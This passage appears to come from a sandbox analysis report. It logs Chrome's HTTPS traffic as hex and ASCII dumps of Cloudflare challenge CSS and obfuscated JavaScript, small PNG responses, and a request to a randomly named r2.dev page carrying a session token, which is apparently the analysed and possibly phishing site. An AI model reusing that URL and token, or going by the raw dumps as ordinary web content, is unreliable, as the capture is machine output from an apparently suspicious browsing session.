2024-04-18 20:48:30 UTC	1369	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 62 62 62 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 2c 20 2e 74 68 Data Ascii: rder-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme-dark #fr-helper-loop-link { color: #bbb;}.theme-dark #fr-helper-link:visited, .th
2024-04-18 20:48:30 UTC	1053	IN	Data Raw: 72 3a 20 23 66 61 66 61 66 61 3b 0a 7d 0a 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 65 31 33 30 33 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 70 78 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 Data Ascii: r: #fafafa;}#challenge-overlay,#challenge-error-text { text-align: center; line-height: 10px; color: #de1303; font-size: 9px;}#challenge-overlay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-overla
2024-04-18 20:48:30 UTC	1369	IN	Data Raw: 31 34 39 39 0d 0a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 31 70 78 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 33 37 70 78 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 32 30 70 78 3b 0a 20 20 6c 65 66 74 3a 20 31 38 70 78 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 Data Ascii: 1499margin-left: 11px; cursor: pointer; text-align: left;}.ctp-checkbox-label { cursor: pointer; padding-left: 37px;}.ctp-checkbox-label input { position: absolute; top: 20px; left: 18px; opacity: 0; z-index: 9999; cursor: point
2024-04-18 20:48:30 UTC	1369	IN	Data Raw: 22 3b 0a 7d 0a 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 20 7b 0a 20 20 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 63 65 Data Ascii: ";}.size-compact { font-size: 13px;}.size-compact .ctp-checkbox-label .mark { left: 15px;}.size-compact .ctp-checkbox-label input { left: 15px;}.size-compact #content { display: flex; flex-flow: column nowrap; place-content: center ce
2024-04-18 20:48:30 UTC	1369	IN	Data Raw: 61 62 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 6e 6f 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 65 6e 64 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 70 78 3b 0a 7d 0a 0a 2e 72 74 6c 20 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 2e 72 74 6c 20 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 7b 0a 20 20 6c 65 66 74 3a 20 32 35 35 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 70 78 3b 0a Data Ascii: abel { display: flex; flex-flow: row-reverse nowrap; place-content: center flex-end; align-items: center; padding-left: 2px;}.rtl .ctp-label { padding-right: 2px; padding-left: 0;}.rtl #success-icon { left: 255px; margin-left: 8px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	104.17.2.184	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:31 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8767841db9f51399 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:31 UTC	358	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:31 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Server: cloudflare CF-RAY: 876784240ae67bbd-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 20:48:31 UTC	212	IN	Data Raw: 63 65 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 4d 2c 66 51 2c 66 52 2c 66 55 2c 66 56 2c 67 6f 2c 67 71 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 0d 0a Data Ascii: cewindow._cf_chl_opt.uaO=false;~function(ix,fE,fF,fM,fQ,fR,fU,fV,go,gq,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha
2024-04-18 20:48:31 UTC	1369	IN	Data Raw: 32 33 35 38 0d 0a 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6d 2c 68 79 2c 68 4c 2c 68 51 2c 68 52 2c 68 53 2c 69 34 2c 69 67 2c 69 6b 2c 69 70 2c 69 71 2c 69 75 2c 69 76 2c 66 53 2c 66 54 29 7b 66 6f 72 28 69 78 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 69 77 2c 65 2c 66 29 7b 66 6f 72 28 69 77 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 69 77 28 39 37 36 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 32 33 39 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 69 77 28 33 30 31 36 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 35 36 32 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 69 77 28 32 39 33 36 29 29 2f 35 2a 28 2d 70 61 72 Data Ascii: 2358,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hm,hy,hL,hQ,hR,hS,i4,ig,ik,ip,iq,iu,iv,fS,fT){for(ix=b,function(c,d,iw,e,f){for(iw=b,e=c();!![];)try{if(f=-parseInt(iw(976))/1+-parseInt(iw(2239))/2+parseInt(iw(3016))/3+-parseInt(iw(1562))/4+parseInt(iw(2936))/5*(-par
2024-04-18 20:48:31 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4c 4d 70 51 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 4a 46 4a 43 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 75 51 76 5a 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6a 6e 61 79 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 67 71 6e 62 48 27 3a 6a 33 28 32 32 34 34 29 2c 27 69 4e 76 49 70 27 3a 6a 33 28 33 33 31 34 29 2c 27 62 68 58 52 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 64 57 45 5a 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c Data Ascii: :function(h,i){return h(i)},'LMpQK':function(h,i){return h<<i},'JFJCB':function(h,i){return i&h},'uQvZp':function(h,i){return h-i},'jnays':function(h,i){return h===i},'gqnbH':j3(2244),'iNvIp':j3(3314),'bhXRY':function(h,i){return h==i},'dWEZe':function(h,
2024-04-18 20:48:31 UTC	1369	IN	Data Raw: 36 32 29 5d 5b 6a 36 28 32 34 34 39 29 5d 28 45 2c 46 29 29 7b 69 66 28 64 5b 6a 36 28 32 35 34 30 29 5d 28 6a 36 28 31 38 31 35 29 2c 6a 36 28 31 38 31 35 29 29 29 7b 69 66 28 64 5b 6a 36 28 32 39 37 34 29 5d 28 32 35 36 2c 46 5b 6a 36 28 31 39 31 31 29 5d 28 30 29 29 29 7b 66 6f 72 28 43 3d 30 3b 43 3c 49 3b 4b 3c 3c 3d 31 2c 4c 3d 3d 6f 2d 31 3f 28 4c 3d 30 2c 4a 5b 6a 36 28 31 39 38 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 6a 36 28 31 39 31 31 29 5d 28 30 29 2c 43 3d 30 3b 38 3e 43 3b 4b 3d 64 5b 6a 36 28 33 30 36 34 29 5d 28 4b 3c 3c 31 2c 64 5b 6a 36 28 31 31 30 31 29 5d 28 50 2c 31 29 29 2c 4c 3d 3d 64 5b 6a 36 28 32 32 33 38 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 6a 36 28 31 39 38 37 29 Data Ascii: 62)][j6(2449)](E,F)){if(d[j6(2540)](j6(1815),j6(1815))){if(d[j6(2974)](256,F[j6(1911)](0))){for(C=0;C<I;K<<=1,L==o-1?(L=0,J[j6(1987)](s(K)),K=0):L++,C++);for(P=F[j6(1911)](0),C=0;8>C;K=d[j6(3064)](K<<1,d[j6(1101)](P,1)),L==d[j6(2238)](o,1)?(L=0,J[j6(1987)
2024-04-18 20:48:31 UTC	1369	IN	Data Raw: 5b 6a 36 28 33 31 36 35 29 5d 28 4c 2c 64 5b 6a 36 28 33 30 30 32 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 6a 36 28 31 39 38 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 43 3d 30 3b 43 3c 49 3b 4b 3d 64 5b 6a 36 28 32 32 31 32 29 5d 28 4b 3c 3c 31 2c 50 29 2c 4c 3d 3d 64 5b 6a 36 28 33 30 30 32 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 6a 36 28 31 39 38 37 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3d 30 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 6a 36 28 31 39 31 31 29 5d 28 30 29 2c 43 3d 30 3b 31 36 3e 43 3b 4b 3d 64 5b 6a 36 28 36 39 32 29 5d 28 4b 3c 3c 31 2e 35 35 2c 50 26 31 29 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 6a 36 28 31 39 38 Data Ascii: [j6(3165)](L,d[j6(3002)](o,1))?(L=0,J[j6(1987)](s(K)),K=0):L++,P>>=1,C++);}else{for(P=1,C=0;C<I;K=d[j6(2212)](K<<1,P),L==d[j6(3002)](o,1)?(L=0,J[j6(1987)](s(K)),K=0):L++,P=0,C++);for(P=F[j6(1911)](0),C=0;16>C;K=d[j6(692)](K<<1.55,P&1),o-1==L?(L=0,J[j6(198
2024-04-18 20:48:31 UTC	1369	IN	Data Raw: 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 4c 29 7b 66 6f 72 28 6a 39 3d 6a 33 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 33 3e 45 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 6a 39 28 32 31 30 36 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 64 5b 6a 39 28 33 30 34 38 29 5d 28 46 2c 4b 29 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 6a 39 28 31 31 32 37 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 6a 39 28 32 30 34 34 29 5d 28 30 2c 4c 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 Data Ascii: ,B,C,D,E,F,G,H,I,J,K,M,L){for(j9=j3,s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;3>E;s[E]=E,E+=1);for(J=0,K=Math[j9(2106)](2,2),F=1;d[j9(3048)](F,K);L=H&G,H>>=1,d[j9(1127)](0,H)&&(H=j,G=o(I++)),J\|=(d[j9(2044)](0,L)?1:0)*F,F<<=1);switch(J){case 0:for(J=0,K=Mat
2024-04-18 20:48:31 UTC	1369	IN	Data Raw: 28 6a 61 3d 69 78 2c 67 3d 7b 7d 2c 67 5b 6a 61 28 39 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2b 73 7d 2c 68 3d 67 2c 6d 2c 6a 3d 33 32 2c 6c 3d 68 5b 6a 61 28 39 32 35 29 5d 28 66 45 5b 6a 61 28 32 35 36 33 29 5d 5b 6a 61 28 38 32 37 29 5d 2b 27 5f 27 2c 30 29 2c 6c 3d 6c 5b 6a 61 28 37 37 32 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 2c 6a 62 29 7b 6a 62 3d 6a 61 2c 6a 5e 3d 6c 5b 6a 62 28 31 39 31 31 29 5d 28 73 29 7d 29 2c 66 3d 66 45 5b 6a 61 28 31 35 33 33 29 5d 28 66 29 2c 6b 3d 5b 5d 2c 69 3d 2d 31 3b 21 69 73 4e 61 4e 28 6d 3d 66 5b 6a 61 28 31 39 31 31 29 5d 28 2b 2b 69 29 29 3b 6b 5b 6a 61 28 31 39 38 37 29 5d 28 53 74 72 69 6e 67 5b 6a 61 28 38 36 30 29 5d 28 28 28 6d 26 32 35 35 29 2d Data Ascii: (ja=ix,g={},g[ja(925)]=function(n,s){return n+s},h=g,m,j=32,l=h[ja(925)](fE[ja(2563)][ja(827)]+'_',0),l=l[ja(772)](/./g,function(n,s,jb){jb=ja,j^=l[jb(1911)](s)}),f=fE[ja(1533)](f),k=[],i=-1;!isNaN(m=f[ja(1911)](++i));k[ja(1987)](String[ja(860)](((m&255)-
2024-04-18 20:48:31 UTC	842	IN	Data Raw: 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 73 3d 66 51 5b 6a 48 28 39 32 33 29 5d 28 6e 29 5b 6a 48 28 37 37 32 29 5d 28 27 2b 27 2c 6a 48 28 31 32 39 38 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 78 3d 6a 5b 6a 48 28 32 39 34 35 29 5d 28 6a 5b 6a 48 28 33 30 34 37 29 5d 28 6a 5b 6a 48 28 32 39 34 35 29 5d 28 6a 48 28 31 35 35 34 29 2b 43 2c 6a 5b 6a 48 28 38 34 33 29 5d 29 2b 31 2c 6a 5b 6a 48 28 31 30 34 30 29 5d 29 2b 66 45 5b 6a 48 28 32 35 36 33 29 5d 5b 6a 48 28 38 32 37 29 5d 2b 27 2f 27 2b 66 45 5b 6a 48 28 32 35 36 33 29 5d 5b 6a 48 28 32 33 32 34 29 5d 2b 27 2f 27 2c 66 45 5b 6a 48 28 32 35 36 33 29 5d 5b 6a 48 28 31 35 37 37 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 42 3d 6a 5b 6a 48 28 38 34 39 29 Data Ascii: continue;case'2':s=fQ[jH(923)](n)[jH(772)]('+',jH(1298));continue;case'3':x=j[jH(2945)](j[jH(3047)](j[jH(2945)](jH(1554)+C,j[jH(843)])+1,j[jH(1040)])+fE[jH(2563)][jH(827)]+'/'+fE[jH(2563)][jH(2324)]+'/',fE[jH(2563)][jH(1577)]);continue;case'4':B=j[jH(849)
2024-04-18 20:48:31 UTC	1369	IN	Data Raw: 31 31 64 35 0d 0a 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 69 5b 6a 49 28 31 37 33 34 29 5d 3d 6a 49 28 33 31 32 37 29 2c 69 5b 6a 49 28 31 35 30 30 29 5d 3d 6a 49 28 31 39 34 32 29 2c 69 5b 6a 49 28 32 35 33 39 29 5d 3d 6a 49 28 33 32 39 37 29 2c 69 5b 6a 49 28 31 35 30 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 6a 3d 69 2c 6b 3d 64 5b 6a 49 28 37 31 39 29 5d 28 29 2c 6c 3d 6a 5b 6a 49 28 31 32 35 32 29 5d 2c 6b 5b 6a 49 28 38 36 33 29 5d 28 6c 29 3e 2d 31 29 3f 66 45 5b 6a 49 28 32 31 33 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6a 4a 29 7b 6a 4a 3d 6a 49 2c 66 45 5b 6a 4a 28 31 38 35 33 29 5d 28 29 7d 2c 31 65 33 29 3a 6a 49 28 31 39 33 30 29 21 3d 3d 6a 49 Data Ascii: 11d525)]=function(n,o){return n+o},i[jI(1734)]=jI(3127),i[jI(1500)]=jI(1942),i[jI(2539)]=jI(3297),i[jI(1505)]=function(n,o){return n+o},j=i,k=d[jI(719)](),l=j[jI(1252)],k[jI(863)](l)>-1)?fE[jI(2134)](function(jJ){jJ=jI,fE[jJ(1853)]()},1e3):jI(1930)!==jI
2024-04-18 20:48:31 UTC	1369	IN	Data Raw: 5d 3d 69 78 28 31 39 30 34 29 2c 67 71 5b 69 78 28 32 33 34 35 29 5d 3d 69 78 28 32 38 30 39 29 2c 67 71 5b 69 78 28 33 33 33 37 29 5d 3d 69 78 28 33 31 37 32 29 2c 67 71 5b 69 78 28 33 30 36 36 29 5d 3d 69 78 28 33 30 38 38 29 2c 67 71 5b 69 78 28 37 33 33 29 5d 3d 69 78 28 31 34 33 35 29 2c 67 71 5b 69 78 28 32 33 39 36 29 5d 3d 69 78 28 39 32 31 29 2c 67 71 5b 69 78 28 33 31 36 33 29 5d 3d 69 78 28 36 38 34 29 2c 67 72 3d 7b 7d 2c 67 72 5b 69 78 28 31 30 30 39 29 5d 3d 69 78 28 32 35 36 37 29 2c 67 72 5b 69 78 28 33 33 36 35 29 5d 3d 69 78 28 31 39 39 39 29 2c 67 72 5b 69 78 28 32 34 36 39 29 5d 3d 69 78 28 31 37 38 34 29 2c 67 72 5b 69 78 28 31 36 31 35 29 5d 3d 69 78 28 36 34 38 29 2c 67 72 5b 69 78 28 33 30 30 38 29 5d 3d 69 78 28 32 32 32 30 29 2c Data Ascii: ]=ix(1904),gq[ix(2345)]=ix(2809),gq[ix(3337)]=ix(3172),gq[ix(3066)]=ix(3088),gq[ix(733)]=ix(1435),gq[ix(2396)]=ix(921),gq[ix(3163)]=ix(684),gr={},gr[ix(1009)]=ix(2567),gr[ix(3365)]=ix(1999),gr[ix(2469)]=ix(1784),gr[ix(1615)]=ix(648),gr[ix(3008)]=ix(2220),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	104.17.2.184	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:31 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:31 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:31 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 876784240d0e7bc9-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 20:48:31 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	104.17.3.184	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:31 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:32 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:32 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 876784286efe53e5-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 20:48:32 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49724	104.18.2.35	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:32 UTC	754	OUT	GET /favicon.ico HTTP/1.1 Host: pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
